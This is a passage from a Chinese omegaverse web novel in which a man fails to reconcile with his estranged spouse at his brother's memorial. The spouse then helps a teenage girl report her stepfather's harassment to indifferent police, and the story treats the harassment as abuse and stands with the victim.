顾景深没有看父亲,目光落在黑色大理石上哥哥的照片上。照片里的顾怀深温和地笑着,眉眼干净,哥哥走了那么久,现在他们年纪相仿,甚至他整日奔波,还更显老,他们看起来好像。 “来了?”顾宗翰先开了口,声音不高,在这过分安静的空间里异常清晰。他没有转头看儿子,依旧望着那张照片。 现在的技术,早就不需要照片这么传统的纪念方式,一般有些钱的人家会选择立体全息投影,设置的好,投影活灵活现,像人还在一样······ 不知道是谁心虚,顾家没有用过······ “嗯。”顾景深应了一声。 “比去年晚了七分钟。”顾宗翰淡淡地说,手指摩挲着手杖光滑的顶端,“看来当家人是不一样了,时间金贵,连亲哥哥的忌辰,也得排档期。” 顾景深的下颌线绷紧了一瞬,没接话,失败老头的阴阳怪气,没必要和他争执。 顾宗翰似乎也并不期待他的回答,轻轻笑了一下,那笑声干涩,没有任何暖意。他终于转过头,眼神平静,甚至带着一种冷感的审视,上下打量了他一遍,像是评估一件物品。 “这地方不错,安静,干净,风吹不着雨淋不着。不知道怀深怎么想的,家里的祖坟他不去,死了躺这种地方,跟住在保险柜里有什么区别?没点人气儿。”他顿了顿,像是陷入了短暂的回忆,随即话锋一转,“不过也好,省心,活着的时候能折腾,死了倒是让人省心。” 这话像一根毒刺,精准地扎进顾景深的耳膜。他猛地转头,看向父亲。 老人的脸上并没有明显的怒意,只有一种深重的疲惫和一种近乎刻薄的审视。他的眼神浑浊,却像能剥开皮肉,直看到人骨头里去。 顾景深终于忍不住开口了,“哥哥选择留在这里,也是想省心,至少以后不用和你再见面。” 哥哥是怎么死的?是被眼前这个人一步步逼到绝路的!是他无休止的苛责、永不满意的比较…… 父子两个针锋相对,露易丝的哭声都停下了一瞬,她抽噎着开口,“景深,怎么这样和爸爸说话,给爸爸道歉。” 这个女人总是这样,她依附丈夫生存,连带着不想两个孩子忤逆丈夫,哪怕现在孩子已经长大了。 “怎么?我说错了?”顾宗翰抬了抬眼皮,“你哥要是肯安分一点,听安排,走给他铺好的路,至于落到今天这个地步,躺在这冷冰冰的格子里?他倒是清静了,留下个烂摊子……” “他不是烂摊子!”顾景深没想到到了哥哥的灵前这个死老头子都不得安分,说话这样刻薄。 “哦?”顾宗翰挑高了眉毛,那点刻薄变成了赤裸裸的嘲讽,“我说的烂摊子是你,怀深要是在,我也用不着用你这样的半成品,这样忤逆不孝……”他的手杖轻轻点了一下地面,发出沉闷的“叩”声。 顾景深想笑,哥哥在的时候,他对哥哥总是不满意,哥哥走了,又用同一套话术来说他,也许这个世界上没有一个他满意的继承人。 “爸,你还是把心放下吧,现在顾家也是半成品管。” 清脆的脚步声又响起。 远远地,他就看到了那个向这边走来的人。 穿着一身剪裁极佳的黑色羊绒西装,身形高挑瘦削,一步一步走过来,每一步都走在顾景深的心跳上。 真是好久没见到了, 沈之年。 顾景深见到沈之年的身影就及时住嘴,不再和顾宗翰斗嘴。 沈之年先和顾宗翰和露易丝打了招呼,“父亲,母亲。” 露易丝又哼哼唧唧哭起来,根本没空搭理沈之年,倒是顾宗翰冷哼一声,“怎么这么晚才来!” 沈之年无奈地看了一眼顾景深,他和顾景深离婚的事情,顾景深还没和家里的人说,沈之年就不得不配合出席。 只是他确实没想到顾景深他们来得这么早,所以就来晚了。 顾景深没说话,只是把沈之年揽在怀里,沈之年调转了一下方向,正对着顾怀深的遗像,和顾景深真的很相似。 顾怀深的忌辰很有名,这么多年,每一年都办得很大。 现在是顾家几个主要的人来祭拜,接下来几天,顾家八竿子打不着的亲戚,想巴结顾家的生意人,来来往往的就要聚在这里。 又哭又闹,争着去做顾家的孝子贤孙。 顾家老爷子爱看这个,爱看大家都惋惜他这个早逝的继承人。 沈之年把自己带过来的白色菊花放在灵前,虔诚地拜了几拜,又乖乖回到顾景深的身边。 顾景深现在应该不太平静,他好像在轻轻颤抖。 往常沈之年现在应该会轻轻搭手过去,这次沈之年思索很久,犹豫几次,还是没有伸手。 然后好像是听到一声小小的叹息。 “你们什么时候才能有孩子?”没头没尾的,顾宗翰突然就开口旧事重提。 顾怀深的遗像还在那里立着,沈之年真的想不到顾宗翰会说这个。 “以后可能会有吧,我一定会把孩子养好。”顾景深一字一顿,“总不至于把孩子逼死……” “你以为你赢了?”顾宗翰的声音低了下去,却更刺人,他微微向前倾身,看着顾怀深照片的眼神竟然流露出一丝奇异的神色,混杂着痛楚和一种无法理解的执念, “你看看他,再看看你自己。你身上哪一点,不是你恨透了的我的样子?你用的手段,比我更绝。景深,你不是在打败我,你是在变成我。而且是用你哥哥的命,铺了你最后一步路。” 他猛地咳嗽起来,咳得撕心裂肺,旁边的护理人员立刻上前,却被他粗暴地挥手打开。他喘着气,胸口剧烈起伏,苍老的脸上泛起不正常的潮红,眼 “这个位置……烫屁股吗?”他嘴角扯出一个近乎狰狞的弧度,“每天晚上闭上眼睛,能不能看见你哥?问没问过他,后不后悔当初没听我的?” 顾景深立时站起来。父子两个之间的气氛剑拔弩张,就算是沈之年也不想看到这对父子在他的面前吵起来。 露易丝听到这里,几乎要哭得昏厥过去,顾宗翰看看顾景深又看看露易丝,冷哼一声,最后没办法,顾宗翰只能提前离开。 他一走,立时就清净了。 场面上就只剩下顾景深和沈之年。 “你打算什么时候和你父母坦白?”顾景深身上有很轻微他的信息素的味道,虽然不知道这是怎么来的,但是这让沈之年觉得有一点冒犯。 这简直就是在明晃晃地宣布两个人之间的亲密关系, 这不应该出现在离婚夫妻之间。 顾景深不知道为什么沈之年的脸色立刻就垮下来,还以为自己是不小心说错话,“我就是气气老头子,没别的意思。” 因为心虚,顾景深的声音越来越小,在他的幻想里,两个人正在规划孩子出生之后的教育。 沈之年不搭话,现在顾景深身上也散发自己的一点信息素味道,他来之前林之白耳提面命过,让他不要心软。 所以沈之年不敢和顾景深多说话,信息素让顾景深发光,让顾景深成为这个世界的中心,沈之年不敢多看。 “其实……” 顾景深刚刚开口就看到门口一个孩子探头探脑地往里看。 是恩恩,身后还站着十分不好意思的魏砚姝,“是不是打扰到你们了?” 顾景深拉着沈之年后退两步,给恩恩和魏砚姝留下祭拜的空间。 但是魏砚姝还是回头看了一眼立在那里的二人。 沈之年只得带着顾景深先出门等候—— 现在只有沈之年和他两个人,其实现在也不是一个好的机会。 但是现在分开,也许就没有一个新的机会可以把话说明白了。 顾景深思忖了片刻, 沈之年没给他思索的空间,“既然你爸爸已经走了,那我就也走了,希望你能够尽快解决这个问题,下次就不要再打扰我的生活。” 顾景深的腿比脑子快,挡在沈之年的面前,“等一下!” “恩恩不是我的私生子!” 时间紧任务重,顾景深捡着重要的说,争取能够一句话先把问题解决。 沈之年的面色没变,眼眉都没有挑一下,“我知道啊。” “我知道,恩恩是你哥哥的孩子,对吧。” “我又不是傻子,很早就想明白了。”沈之年的声音轻轻的,好像在说别人的事情。 顾景深的头脑一下子就空了,“那你为什么还要和我分开?” “为什么不肯原谅我?” 第53章 “怎么能够说是我想要离开呢, 不是你最开始做出了选择的么?”沈之年向后退一步,顾景深的信息素味道一直扑在他的脸上,让人心软软的, 说不出来狠话。 “你最开始,选择隐藏真相的时候,不就是选择放弃这段婚姻,来保护恩恩么?” 顾景深的嘴巴张了又合, 一时之间竟然不知道应该说些什么。 沈之年见状就接着说,“我在你家那些, 大约也明白了一些, 就算有一些没想明白的, 今天也想明白了。” 喜欢不喜欢,易感期不会骗人,易感期的的时候,顾景深那么依赖他,几乎像一只粘人的大狗,说明其实他心里一定有他, 这是沈之年在生理课学到的第一条。 一旦确认顾景深的心里有爱,沈之年对待他就会变得宽容。 而且,退一万步,在易感期之前, 沈之年也并不觉得顾景深是一个任由爱人和私生子流落在外, 不负责任的人。 所以他很早就怀疑,这里一定有隐情。 “今天看到你和你父亲吵架,我就知道,父亲对你哥哥寄予厚望,性格又严格古板, 如果他知道顾怀深还有这么一位遗腹子在,一定不会善罢甘休,你还没有完全掌握顾家,就不敢贸然揭开真相。” “但是,不说出真相,就要承担有情人和私生子的污名,顾景深,你不是在当时就已经做出了选择,选择放弃我们的婚姻么?” 沈之年还是冷着一张脸,像是世界上最最公平的判官,“你和哥哥感情很好吧,我也爱我哥哥,如果我遇到一样的事,也会做出一样的选择,你没有错······” 虽然沈之年嘴里说的是没有错,但是那张秾若桃李的美人面冷如冰霜,并不像是要原谅他的样子。 顾景深:“对不起,我当时并不知道我在乎,你真的快要和我分开的时候,我才······” 沈之年轻笑一声,打断了顾景深的道歉,“你不是不知道,你是觉得我不会离开你,顾总,你太自信了。” “怎么会呢,我怎么会这么觉得?”顾景深呐呐出声,但是两个人剖开心指责对方,不是顾景深想要的,他只求以后,“我们重新开始可以么?我重新追求你······” 沈之年完全不在意,甚至罕见的有了几分怒火,他拉住顾景深的领带,强迫他和自己的的视线在同一个水平线,“你说什么重新开始?我给你的机会还少么?” “我们一起生活一个月,你没想过告诉我真相,我把恩恩接回家,你也没想过告诉我真相······” “说到底,你怀疑我,怀疑我会暴露你的秘密!”沈之年说到这里,因为过于气愤有些气尽,剧烈的喘息了两声才接着说下去,“你看看你,到今天都不知道我究竟在介意的是什么。” “我不知道你是如何理解婚姻。” “但是我觉得婚姻的基础是相互信任。” 沈之年放下手中的领带,那份奇怪的协议,突然出现在家里的恩恩,齐齐涌入到顾景深的脑海里,让他顾景深忘记直起腰,还是沈之年把他推回去,他轻轻的帮顾景深抚平衣服上的褶皱,“回去吧,咱们两个也许不合适。” “我们是天作之合,是最匹配的一对。”顾景深自己也没想到自己会说出这句话,他向来对于匹配度嗤之以鼻,但是好像在这个时候,只有这个虚无缥缈的匹配度才能帮他留住沈之年。 “也许匹配度错了。”沈之年说这话的时候,恰好魏砚姝带着恩恩走了出来,他恰到好处的闭嘴,不再说话。 恩恩还太小,就算知道什么是死亡,体会也并不深刻,所以就算被告知,在那个小小盒子里面躺着的是他素未谋面的父亲,恩恩脸上的伤心之色也不多。 魏砚姝也是,可能艰难的生活快把她的眼泪磨没了,她出来的时候也只是眼眶红红,沈之年本来以为他会哭到崩溃的。 “叔叔,婶婶,恩恩走啦!”恩恩大大方方的和沈之年二人打过招呼,之后又觉得这样不能表达对漂亮婶婶的喜爱,向前跑了两步,抱住沈之年的腰,抓着沈之年的衣服让沈之年低头,然后吧唧亲了沈之年的侧脸一口。 沈之年忍俊不禁,轻轻摸摸恩恩的头,“乖宝,先回去吧。” 看着这对母子渐行渐远,沈之年才说出后面的话,“也许我们用信息素来定义这些,从一开始就是不对的,魏砚姝只是一个Beta,她和你哥哥,不也很相爱么?” 甚至沈之年平心而论,如果他和顾景深遇到这样的事情,他不一定会留下孩子,并且一直相信对方。 第一次在顾氏楼下见面的时候,魏砚姝显然没想到“顾怀深”会结婚,会有新的妻子。 顾景深不知道应该怎么反驳沈之年的话,甚至沈之年说的许多话都是他之前的想法。 他之前也觉得爱情不应该由信息素定义,现在他臣服于信息素的威力,向基因中镌刻的爱人低头,沈之年开始不相信信息素。 他们好像恰好就错过了。 今天之前,他都还是乐观的,虽然沈之年很有可能并不爱他,但是至少他有钱,他对于沈家来说是一个有用的人,沈之年也喜欢他的信息素,只要可以重新开始,他还是有很大的机会。 可是,今天沈之年给他判了一个死刑······ 沈之年没空和顾景深在这里呆站,毕竟顾景深就算是小狗,也是一只漂亮小狗,加上信息素的帮助,沈之年担心再站一会,就忍不住安慰眼前的这个快要哭出声的漂亮狗狗。 “我先走了,景深,再见。” 顾景深的头脑是空的,只是一步一步的跟在沈之年的身后,他也不知道这个行为的意义是什么,他什么都没想,只是本能的跟着走。 走出这个门一个身影突然就出现在前面。 沈之年有一点惊讶:“明亦?” 沈之年向前跑了几步,就被顾景深拦下。 他还是失魂落魄,说出来的话也是颠三倒四,“他哪里好 ?” “他对你图谋不轨!” “你选择他了?” “为什么?” 沈之年一根手指一个手指拨开顾景深的手,“那是我和他之间的事情,景深,和你没关系了。”—— “今天尝试什么治疗方法呢?”因为知道信息素能够给沈之年带来一点情绪之后,在这样封闭的环境里,薛明亦都会任由信息素释放。 但是效果还是不太明显,相对顾景深的信息素。 薛明亦的信息素像是一滴水滴进湖面,带起一圈圈的涟漪,顾景深的信息素让沈之年觉得自己是一个正常人。 沈之年没说话,显然是不太想回答。 “那今天,和他见面有体会到什么新的情绪么?忌辰,是一个特殊的场合,之前应该没有经历过,后面我们经历的机会也不多······”薛明亦完全不在乎沈之年的冷淡,想饲养一朵玫瑰,就要付出加倍的耐心和心血。 这句话,沈之年倒是有了反应,确实有新的情绪,但是是怜悯,这不是好兆头,他和顾怀深素未谋面,能有什么情绪,他的情绪都给了顾景深,沈之年没和薛明亦说。 而是提起了另外一件事,“你怎么过来了?” “沈叔叔让我来接你回家。”薛明亦透过后视镜观察沈之年的面色,能明显看出上面的怀疑,“我特意在外面等你,我没小心眼到要在他面前晃。” 沈之年不置可否,这确实有一定的可能时真的,不知道为什么,林之白和沈奉月看起来好像都对薛明亦很满意。 之前那个Alpha有问题,就换一个Alpha,不免有一种上辈子左脚迈进门槛被摔死,这辈子就迈右脚的荒诞感。 按理说,不管是林之白还是沈奉月都不应该是这样的人,但是这么荒诞的现实就这么水灵灵的出现了。 一定是他说了些什么······ 沈之年怀疑的看向薛明亦。 薛明亦向来像是沈之年肚子里面的蛔虫,“之前我和沈叔叔说我可以入赘,不是开玩笑的,沈叔叔还是希望你能够留在他的身边,所以就对我比较满意,沈叔叔很爱你。” “我承认这算是一点小手段,利用了一个父亲的爱子之心。” “但是想要成为美人的卫士,有时候也需要使用一些小技巧。”薛明亦虽然说这是小手段,但是笑得十分坦荡,让人一点气也生不起来。 沈之年 :“我有时候觉得你很懂我,总能一下理解我的想法,并且做出应对。” 车子已经行驶到沈家的大门前,“在等待成为骑士机会的时候,我也不是空等,我为等待机会做足了准备。” 薛明亦转到沈之年那边,为他打开车门,静等沈之年下车。 沈之年没下车,只是沉沉的看着他。 薛明亦静静的等待,看着沈之年大眼睛里解不开的疑虑,主动伸出手,将沈之年接出,“不是所有付出都需要回报,我在你身上投入的所有,都是我心甘情愿,是我跪在地上等待你的垂青,你不必为此感到负担。” “也不用纠结是不是要回报我。” “我永远都希望你可以幸福。” 薛明亦说到这里,笑了一下,“如果是和我一起,那就最好了。” 第54章 Omega协会的接待室窗明几净, 初秋的阳光透过百叶窗,在地板上切割出明暗交错的光带。 “你说他们父子有什么深仇,赶尽杀绝哦!”办公室突然冒出来窃窃私语。 身边人马上阻止她的言语, 示意他看向一边坐着的青年 衬衫雪白,衬得他清瘦挺拔。面容干净,冷白皮,桃花眼, 轻轻一笑像是要把人的魂吸走。 沈之年微笑一下,示意自己不在意。 没办法, 最近最火热的新闻就是顾家父子夺权, 顾景深以雷霆之势获得顾家的掌控权, 顾宗翰遗憾败北。 最近在家里没事,正好Omega协会缺人,沈之年过来帮忙的这几天总是能够听到他们讨论这件事,避也避不开。 虽然得到沈之年大美人的笑,但是那些人也不再讨论,恰好这个时候一对母女推开了玻璃门。 沈之年适时的拿起文件夹带着母女到其他的房间, 给大家留下八卦的空间,果不其然,沈之年门都没关严,里面的议论声就爆炸一样涌出来······—— 到了专门接待客人的房间, 沈之年才能够好好的观察这对母女。 走在前面的母亲约莫四十岁, 穿着质地精良的米白色针织套装,手中拎着一只低调奢华的皮包,妆容得体却掩不住眼底的疲惫与慌乱。她身后的女孩穿着私立学校的制服,蓝白相间的配色衬得她皮肤愈发苍白,她始终低着头, 手指紧张地揪着裙角。 “您好,我们有一些事情想要咨询一下。”母亲的声音温和,带着一丝不易察觉的颤抖。 “是的,请坐。”沈之年起身示意她们坐在对面的沙发上,目光不经意间扫过那位母亲手腕上的高奢手镯。这样的来访者在这一带并不常见。“喝点茶吗?” 大多生活体面的贵妇人都是打落牙齿往肚子里面咽的,很少来求助Omega协会。 而且,Omega协会的能力也有限,更多的会把精力放在保障底层Omega人权上,这种基本生活能够得到保障的Omega,可能并不能得到Omega协会过多的帮助。 这是一种无可奈何的现实。 “谢谢,不用了。”母亲勉强笑了笑,优雅地坐下,双腿并拢斜放,姿态无可挑剔。女孩沉默地坐在她身边,像一尊易碎的瓷娃娃。 “我姓陈,陈婉。”母亲自我介绍道,声音轻柔,“这是我女儿,周晓薇,十五岁。”她顿了顿,似乎在斟酌措辞,“我们遇到一些家庭问题,想来咨询一下。” 沈之年拿起笔和记录本,语气温和:“请说,我会尽力提供帮助。” 陈婉的交织的双手指节泛白:“是我的再婚丈夫,晓薇的继父他,他最近对晓薇的言行有些不得体。” 沈之年一愣,起身去确认门是不是关紧。 陈婉好像没办法接着说下去,轻轻戳了一下身边的女儿,周晓薇还是低着头,但是把光脑接触限制推到沈之年的面前。 沈之年就只是简单的翻一翻就不忍心再看,上面大多数都是正常的关心,偶尔几条超越界限的暗示 “晓薇长大了,越来越有女人味了。” “你和你妈妈年轻时很像有种‘纯洁的诱惑。” ······ 沈之年在看到这个所谓继父给继女发的□□(heihei)内衣时,实在不忍心看下去,把光脑还给周晓薇。 周晓薇好像有点麻木,不像她的母亲那样泪水涟涟,“他还经常在深夜以送牛奶或关心学习为名,进入我的卧室,坐在床边“谈心”,最近几次还在我洗澡后,只裹着浴巾走出浴室时“恰巧”出现在走廊,然后打量我。” 沈之年的心沉了下去。 看这制服,小薇是个初中生,不会超过15岁,遭遇这样事情,也许会留下 一辈子的心理阴影。 她的目光转向始终沉默的少女:“晓薇,那些话和行为,让你感到不舒服了,对吗?” 女孩的身体微微发抖,过了许久才极轻地点了点头,依旧不敢抬头。 沈之年感到一阵反胃。 “这不是你的错,晓薇。”沈之年的声音坚定而清晰,“任何让你感到不舒服的言行都是越界的,无论对方是谁,用什么方式表达。你的感觉才是最重要的,明白吗?” 陈婉捂住脸,低声啜泣。 沉默片刻后,沈之年拿起手机:“这种情况,我建议报警,言语性骚扰也是性骚扰,尤其是对未成年人,他需要接受法律的制裁。” 没有再多犹豫,沈之年拨通了报警电话,冷静专业地说明了情况:未成年少女疑似遭受继父性骚扰,需要星警到场处置—— 挂断电话约四十分钟后,两名星警到达。年长的警官自我介绍叫艾登.格林,神情严肃;年轻些的叫乔.奥利弗,手里拿着记录本。 沈之年看到他们就眉头一皱,这不应该是正常的出警时间,但是他还是简要清晰地说明了情况。 格林警官听后眉头紧锁,分别询问了陈婉和晓薇。陈婉语无伦次,晓薇则几乎只是点头或摇头。 问话间,李泽明也赶到了。他推开门的瞬间,整个房间的气氛都为之一变。 他穿着一身剪裁合体的深灰色西装,意大利手工皮鞋擦得锃亮,身上散发着淡淡的木质调香水味。金丝眼镜后的眼神锐利而冷静。 沈之年一愣,他原本以为会见到一个粗鄙的暴发户,没想到面对的却是一个衣冠楚楚的“体面人” “抱歉,我来晚了。”他的声音温和而有磁性,向两位警官微微颔首,“我是李泽明,听说家里有些误会?”他的措辞得体,姿态从容。 王警官说明了一下情况。 李泽明听后露出恰到好处的惊讶与无奈,他推了推眼镜,苦笑道:“这真是天大的误会。警察同志,我是个受过高等教育的人,怎么可能做出这种事?”他转向妻女,眼神中带着宽容的责备,“婉婉,你是不是又过度解读了?我知道你一直有些焦虑,但不要把情绪传染给孩子。” 他的目光落在晓薇身上,充满“慈爱”:“晓薇,李叔叔平时对你怎么样,你是知道的。我怎么可能有意伤害你呢?是不是你学习压力大,敏感了?” 晓薇在他目光的注视下剧烈地颤抖起来,说不出一个字。 格林轻咳一声:“李先生,我们理解这可能是个误会。但既然接到报警,还是要例行公事。无论如何,与青春期的继女相处时,注意言行边界是必要的。” “当然,您说得对。”李泽明从善如流地点头,随即话锋一转,语气变得沉痛而失望,“但是警察同志,您也知道,重组家庭本就敏感。我一直以来努力做个好丈夫、好继父,没想到会遭到这样的误解。” 陈婉好像终于不能忍受眼前人的装模作样,随手抓起身边的背包劈头盖脸的扔到李泽明的脸上,“放n(hei)niang的屁!你在这装什么体面人,你做的都不是人事!” 陈泽明的面色一下沉下去,陈婉下意识的瑟缩一下,陈泽明意味深长地看了陈婉一眼,“婉婉,淫者见淫,你是不是还惦记之前的事,可那些都是过去的事了,我们应该向前看。” 陈婉的脸色瞬间惨白如纸。 星警好像来了兴趣。 陈泽明不好意思的抿嘴笑笑,“说来惭愧,当年我和婉婉认识的时候,都还有家庭,可能因为这件事,婉婉对我总不放心。” 两个星警露出了原来如此的神情。 格林显然不想深入家庭纠葛,摆摆手道:“好了,家庭矛盾最好内部解决。既然没有实质性证据,我看就是一场误会。李先生以后注意言行,李太太也别太敏感了。一家人以和为贵。” 赵警官合上记录本:“是啊,这种家务事最难断。真要闹大了,对谁都不好,特别是对女孩的名声。” “误会?”沈之年终于忍不住站起身,声音微微发颤,“警察同志,当一个十五岁的女孩感到害怕和羞耻时,这就不只是‘误会’!‘没有实质性证据’?言语和心理上的伤害就不是伤害吗?就因为施害者衣冠楚楚、能言善辩,他的行为就可以被轻易原谅吗?” 格林脸色难看起来:“林同志,我们执法要讲证据!不是光凭感觉!这种家庭纠纷,我们处理了多少次?大多是沟通问题!李先生是社会有头有脸的人,怎么会做那种事?” 一边的乔显然更加年轻气盛,直言不讳,“对啊,再者说,李先生是一个体面的Alpha,又不缺女人,陈婉也······上梁不正下梁歪的,指不定是这个陈婉觉得自己一个Beta留不住Alpha,让女儿引诱李先生保住现在好的生活呢。” 然后在看到沈之年那张漂亮的脸,说话的语气也软和下来,“你还年轻呢,可能同情他们,我们见到这种想要往上攀附的人太多了······” “你说是不是?” “你就时太善良了,你们Omega就是感性!”—— 作者有话说:本章节由现实事件改编 第55章 “就是因为他有头有脸, 才更懂得如何利用自己的地位和权力实施操控和侵犯!”沈之年毫不退让,目光锐利地看向李泽明,“精致的包装往往包裹着更腐朽的内核!今天如果是一个民工打扮的人做出同样的事, 你们也会这样和稀泥吗?” 沈之年冷笑一声,罕见的,他脸上出现一种具有攻击性的美,“也对, 民工你们也会和稀泥,毕竟, 你们都是Alpha, 都会做同样的事, 才会相互袒护!” 李泽明的脸上闪过一丝阴鸷,但很快恢复平静,甚至露出一丝宽容的笑意:“这位同志情绪似乎很激动。我能理解您的工作性质让您容易先入为主。但我相信星警同志会做出专业判断。” “咱们这次能够快点结束么?实不相瞒,婉婉不上班,就在家中等着,我前妻是一个Omega也需要我的供养, 家里的负担很重,工作那边我向来是战战兢兢,不敢擅离。” “如果我的工作没有了,家里怎么办?” 格林警官显然被说服了, 语气强硬地对沈之年说:“这位同志, 请控制情绪!我们是依法办事!李先生,今天打扰了,以后家里多沟通。收队!” 乔在一边还小声的念叨,“你看,我就说你们Omega太感性了, 你还不相信······” “你们从进门到现在,证据是一字不提,就要稀里糊涂的把案子判了,既然我们报案,他有嫌疑,难道不是应该立案调查么?最后到底有证据还是没有证据,要调查过才知道,判决的结果要看调查的结果,不是么?你们稀里糊涂的,现在说我感性,我就不明白了,我们是谁更感性?” 其实晓薇的光脑里有姓李的言语骚扰的证据,但是沈之年不能要求晓薇出示给眼前这两个Alpha,将这种隐私被迫公之于众,是对晓薇的二次侵犯。 保护未成年人的心理健康也是他工作的一部分,他不是警察,是Omega协会的成员,他的工作不是调查真相,然后判案,是保护好每一位弱势的Omega。 听到立案两个字,李泽明才突然慌张起来,脸上的温和面具瞬间脱落。“不,不能立案!我也算是有头有脸的人物,这事要是传出去,我的事业怎么办?”李泽明的视线在房间里慌乱的转了一圈,突然好像找到了救命稻草一样,指着晓薇,“晓薇的未来也会受影响!况且况且你们没有证据,怎么可以立案······” “李先生,”沈之年正视着她,“正因为你是社会名流,有头有脸,才更应遵守法律和道德底线,我们可以调查一下,如果您没有类似的行为,法律也会给您公正的裁决。” “我相信,您也想要洗清嫌疑,对么?” 沈之年见过证据,他知道,李泽明不可能没有类似的行为,他就是害怕,他根本就洗不清,恶心的Omega! 李泽明也慌乱起来,猛地站起身,“你一个Omega懂什么!沾上这种恶名我就洗不脱,势必会对我产生影响!以后洗脱嫌疑有什么用黄花菜都凉了!Omega就是头发长,见识短!” 沈之年静静的看着他跳脚,倒是挺爱惜羽毛的,但是这么爱惜羽毛为什么要做出这么下作的事情呢? 李泽明:“我的事业被影响,对你们又有什么好处,吃什么,住什么?”他没有大声咆哮,而是用一种冰冷到极点的目光扫过妻女,最后落在沈之年身上。 格林警官这时候又要和稀泥,“就是啊,小同志,你可能是基层经验不多,这种情况没有那么简单,非要败坏李先生的名声,导致李先生的事业受损,以后家庭生活也会出问题。” 这话说的其实不错,很多时候Omega协会也会遇到类似的问题,解决实际问题不能只看今天,不看以后。 沈之年下意识的看了一眼陈婉,陈婉的眼神瑟缩了一下,然后马上就坚定了起来,他的眼泪还在掉。 “我跟你说过这样不合适,”陈婉的声音哽咽,“但你总是说我想多了,说只是把晓薇当亲生女儿一样关心,说我太敏感”她美丽的眼睛里蓄满泪水,“结果呢?我告诉你,我怎么样,我都认了,但是晓薇不行,我能养活她。” 沈之年听了他的话也坚定了起来。 格林勉强笑笑,“这别说现在没证据,就是证据确凿,也就是一个家庭纠纷,不能算刑事案件。” “要不我们先走,你们再商量一下,我看着女孩好像也有难言之隐。”格林说着就悄悄的招呼乔想先走。 “等等!”沈之年拦在他们面前,“既然你们认定是误会,不愿立案,那我要求至少在出警记录上明确写下:接到报警,经现场调查,对李泽明先生就被指控对未成年继女言行不当一事进行口头提醒和告诫。同时,Omega协会工作人员沈之年对此处理结果持保留意见,要求记录在案。” 格林警官瞪着她,最终不耐烦地对乔挥挥手:“记上记上!” 一份措辞谨慎的记录终于完成。 沈之年又强调了一次,“我叫沈之年,我的名字你可要记清楚。” 乔的手停下来,小心的凑到格林的耳边说了些什么,格林一顿。 沈之年不用猜都知道他们在说些什么。 “你们是哪个分局的,领导是谁?”沈之年说着,围着两个人转了一圈,指着他们胸前的名牌,轻巧的念出他们的名字,“艾登.格林,乔.奥利弗,我记住了······” 乔下意识的想把胸牌捂起来,然后又意识到不妥,格林显然就圆滑多了,“好说,好说,要不这样,我们简单的询问一下小姑娘,可以么?” 沈之年有一点犹豫,现在把让小姑娘和两个有和稀泥意图的Alpha放在一起,好像并不合适。 但是周晓薇犹豫着点了头,这个时候,沈之年才发现,在他和两个星警纠缠的时候,李泽明不知道什么时候,竟然已经站在那对母女的身边。 周晓薇起身沉默着跟着两个星警到Omega协会准备好的小房间里,沈之年的心往下沉了一沉—— 三个人很快就出来了,格林的脸上写满了歉意,“沈先生,真不是我不上心,女孩子自己想要撤销报案······” “什么?”沈之年不可思议的看向周晓薇。 格林脸上还是歉意,“要不这样,我们先回,您要是有吩咐,再来找我,好么?” 沈之年也没办法,如果是周晓薇决定撤案,他也不能强留星警。 撤销报案,李泽明也没有再留下的必要,房间里只剩下沈之年和这对母女。 周晓薇从房间出来好像精神状态就不太对劲,沈之年走到晓薇面前,蹲下身,平视着女孩盈满的双眼,握住她的手,希望能够把温暖的力量传递给他,“怎么了?晓薇,是两位警官说了什么么?” 小姑娘的泪水突然决堤了一样,“妈妈,对不起我不该我不该说的我们回家吧,我去跟李叔叔道歉求你了” 沈之年实在是无奈。 “晓薇,看着我。”他的声音温柔却坚定,“你不需要向任何人道歉。做错事的是他,不是你。” “可是可是李叔叔生气了家里的生活都是靠他”晓薇哽咽着,“怎么办?如果真的惹怒他,妈妈怎么办?” 陈婉也没想到女儿竟然会想这些,“我去工作,我能养活你!” 周晓薇的视线躲闪,看向陈婉身上那些价值不菲的饰品,“可是妈妈,你和叔叔在一起之后,已经快五年没有工作过了,你真的能够找到工作么?” “我们真的能够在首都星生活么?你喜欢的一切,那些漂亮的饰品还能得到么?你不是因为这些才抛弃爸爸的么,如果真的离开叔叔,没了这一切,一开始还好,日子久了,你会不会因此,抛弃我?” 陈婉听了两三句,就哭的不能自抑,“晓薇,妈妈错了,妈妈真的知道错了······” “听着,”沈之年轻轻握住女孩冰冷的手,“他的愤怒是因为被揭穿了真面目,而不是因为你做错了什么。是的,也许现在你们的经济依赖他,但这不代表你们就要忍受这种屈辱和伤害。” “你的安全、你的尊严、你的心理健康,比豪华的房子、名牌的衣服、优越的生活条件重要得多。没有什么值得你用身心受创来交换。” 沈之年的目光真诚而坚定:“也许现在你觉得无力反抗,但这不是永久的。你还在成长,你会有自己的能力,自己的未来。到那时,你会发现,世界很大,而这种依靠权力和控制他人来满足私欲的人,根本不值得你恐惧。” 晓薇怔怔地看着她,眼泪仍在流淌。 “而且我会帮你们的,就算是离婚,你妈妈也应该分割走一部分的夫妻共同财产,我们再帮你妈妈找一个合适的工作,日子总是一点一点的过,总能原来越好。” 本来情绪已经好转的晓薇眼泪突然流的更凶,“可是妈妈没和叔叔结婚······” 第56章 陈婉只觉得自己的世界一片天旋地转, 几乎要整个颠倒过来······ 沈之年早看出陈婉不太对劲,站在她一边,及时扶住了快要摔倒的陈婉。 被沈之年扶一下, 陈婉的理智也回笼,她握住女儿的手,“你是我最重要的孩子,我永远都不会抛弃你, 我能养活你,我出去做保洁, 做帮佣, 也一定能够养活你。” “实在不行, 我们就离开首都星,换一个生活成本低的星球生存,好不好?”陈婉说着说着,把脸埋进了女儿的手心,周晓薇能感觉到手心暖暖的水流,是眼泪。 她突然也产生了要不要信任妈妈一次的念头······ “妈妈, 没有漂亮的衣服穿,没有珠宝带,也没有帮佣阿姨照顾你的生活,那些能够维持你美丽的美容给项目也没钱再去做了, 你也愿意么?” 陈婉抚摸女儿的脸颊, “这些都没有囡囡你重要······” 周晓薇眼睛里突然亮起了光,她转头看向沈之年,“哥哥,我可以再报一次警么?”—— 这次来的还是那两位星警,互通过姓名, 这次态度明显好的多。 “小沈先生,这次小姑娘决定报案了么?” 沈之年淡定的微笑,将身后的周晓薇露出来,自己走到一边,不远不近的看着,既不会太有压迫感,也不至于让那两个警官看不到,生了轻忽之心。 他心里有一点鄙夷,他在这里的这些天,经历类似的事情不止一两次,基层的事情,各种人员总是不断地推诿,星警的日常杂物很多,向来是多一事不如少一事,而且他们从心里希望Omega能够安安分分,少生事端。 和Omega协会之间的扯皮更是不断。 